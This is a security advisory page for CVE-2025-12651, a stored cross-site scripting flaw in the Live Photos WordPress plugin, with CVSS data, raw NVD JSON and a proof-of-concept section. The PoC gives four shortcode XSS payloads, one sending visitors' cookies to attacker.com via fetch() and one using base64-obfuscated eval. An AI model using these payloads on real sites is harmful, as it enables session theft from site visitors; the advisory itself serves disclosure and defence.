Security Vulnerability Report
中文
CVE-2025-12651 CVSS 6.4 MEDIUM

CVE-2025-12651

Published: 2025-11-11 04:15:48
Last Modified: 2026-04-15 00:35:42

Description

The Live Photos on WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'video_src', 'img_src', and 'class' parameters in the livephotos_photo shortcode in all versions up to, and including, 0.1. This is due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute when a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Live Photos plugin <= 0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Live Photos Plugin - Stored XSS PoC --> <!-- Required: Contributor-level access or higher --> <!-- Method 1: Using img_src parameter --> [livephotos_photo img_src='x' onerror='alert(document.cookie)' video_src=''] <!-- Method 2: Using class parameter with event handler --> [livephotos_photo img_src='' video_src='' class='" onmouseover="alert(1)" x="'] <!-- Method 3: Using video_src parameter --> [livephotos_photo img_src='' video_src='x' onerror='fetch("https://attacker.com/steal?c="+document.cookie)'] <!-- Method 4: Combined payload for reliable execution --> [livephotos_photo img_src='x' onerror='eval(atob("YWxlcnQoJ1gnJyk="))' video_src='' class='test'] <!-- The injected JavaScript will execute when any user views the page containing the shortcode -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12651", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:48.217", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Live Photos on WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'video_src', 'img_src', and 'class' parameters in the livephotos_photo shortcode in all versions up to, and including, 0.1. This is due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute when a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/live-photos/tags/0.1/core/class-livephotos-shortcodes.php#L42", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fba3090f-2cc2-4e40-8080-ae83ba321a67?source=cve", "source": "[email protected]"}]}}